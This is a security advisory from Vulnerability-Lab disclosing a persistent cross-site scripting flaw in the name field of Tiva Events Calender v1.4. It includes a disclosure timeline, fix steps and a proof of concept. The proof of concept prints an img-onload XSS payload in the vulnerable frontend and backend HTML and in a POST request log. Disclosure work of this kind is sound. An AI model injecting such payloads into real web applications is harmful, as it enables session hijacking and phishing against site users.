Tiva Events Calender v1.4 - Cross Site Scripting Vulnerability
Vulnerability Laboratory ID (VL-ID):
Common Vulnerability Scoring System:
Cross Site Scripting - Persistent
Current Estimated Price:
500€ - 1.000€
Product & Service Introduction:
Events Calendar For PHP is a powerful PHP calendar script that can be easily integrated and used with various PHP projects,
such as scheduler, event handler, etc. The calendar is simple to install, deploy, and use. It is suitable for all types of
service businesses to get online reservations without any hassles.
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Abstract Advisory Information:
The vulnerability laboratory core research team discovered a persistent script code inject vulnerability in the Tiva Events Calender v1.4 web-application.
Product: Tiva Events Calender - Calender PHP (Web-Application)
Vulnerability Disclosure Timeline:
2021-04-03: Researcher Notification & Coordination (Security Researcher)
2021-04-04: Vendor Notification 1 (Security Department)
2021-06-24: Vendor Notification 2 (Security Department)
2021-07-13: Vendor Notification 3 (Security Department)
****-**-**: Vendor Response/Feedback (Security Department)
****-**-**: Vendor Fix/Patch (Service Developer Team)
****-**-**: Security Acknowledgements (Security Department)
2023-07-05: Public Disclosure (Vulnerability Laboratory)
Restricted Authentication (User Privileges)
Low User Interaction
Technical Details & Description:
A persistent input validation web vulnerability has been discovered in the official Tiva Events Calender v1.4 web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser
to web-application requests from the application-side.
The vulnerability is located in the name input field and name parameter. Remote attackers privileged user accounts are able to inject
own malicious script codes as name. Thus results in a persistent execute of the script code in the backend on edit but as well in the
frontend (index) were the event is being displayed after the submit (save) via post method request. In the same direction it is possible
to inject malformed client-side executable script code in get request to trigger a non-persistent execution.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects
to malicious source and persistent manipulation of affected frontend / backend application modules.
[+] POST / GET
[+] index.php (Frontend on Event Preview)
[+] edit.php (Backend on Edit ID)
Proof of Concept (PoC):
The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and with low user interaction.
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.
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Vulnerable Source: Frontend (Index)
<tr><td class="calendar-day-normal"><span class="calendar-day-weekend">8</span></td>
<td class="calendar-day-normal"><div class="calendar-day-file">9<div class="calendar-file-name color-4" onclick="downloadFile(220)">
<span class="event-name">event1"%20"<img src="evil.source" onload=alert(document.domain)></span></div></div></td><td class="calendar-day-normal">10</td>
<td class="calendar-day-normal">11</td><td class="calendar-day-normal">12</td><td class="calendar-day-normal">13</td>
<td class="calendar-day-normal"><span class="calendar-day-weekend">14</span></td></tr>
Vulnerable Source: Backend (Edit ID)
<header class="panel-heading"><i class="fa fa-folder-open"></i> Edit File</header>
<div class="alert alert-success">
<button data-dismiss="alert" class="close close-sm" type="button">
<i class="fa fa-times"></i>
</button>Report successfully saved.</div>
<form class="form-horizontal" action="edit.php?id=220" method="post" enctype="multipart/form-data">
<label class="col-lg-2 col-sm-2 control-label">Name<span class="star"> *</span></label>
<input type="text" name="name" class="form-control" value="event1"%20"<img src="evil.source" onload=alert(document.domain)>" required />
--- PoC Session Logs (POST) ---
Content-Type: multipart/form-data; boundary=---------------------------249785717017581481612148649683
name="%20%20"<img src="evil.source" onload=alert(document.domain)>&type=1&time=20-08-2021&file=temp.txt&save=
POST: HTTP/2.0 200 OK
strict-transport-security: max-age=15768000; includeSubDomains
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
GET: HTTP/2.0 200 OK
strict-transport-security: max-age=15768000; includeSubDomains
Solution - Fix & Patch:
The vulnerability can be patched by the following steps ...
1. Encode and escape the name input field content on transmit via post method
2. Restrict the input field and disallow insert of special chars
3. Parse the output location on the index frontend via encode to sanitize and prevent the execute
4. Parse the output location on the edit id report backend via encode to sanitize and prevent the execute
The security risk of the persistent input validation vulnerability in the web-application is estimated as medium.
Credits & Authors:
Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
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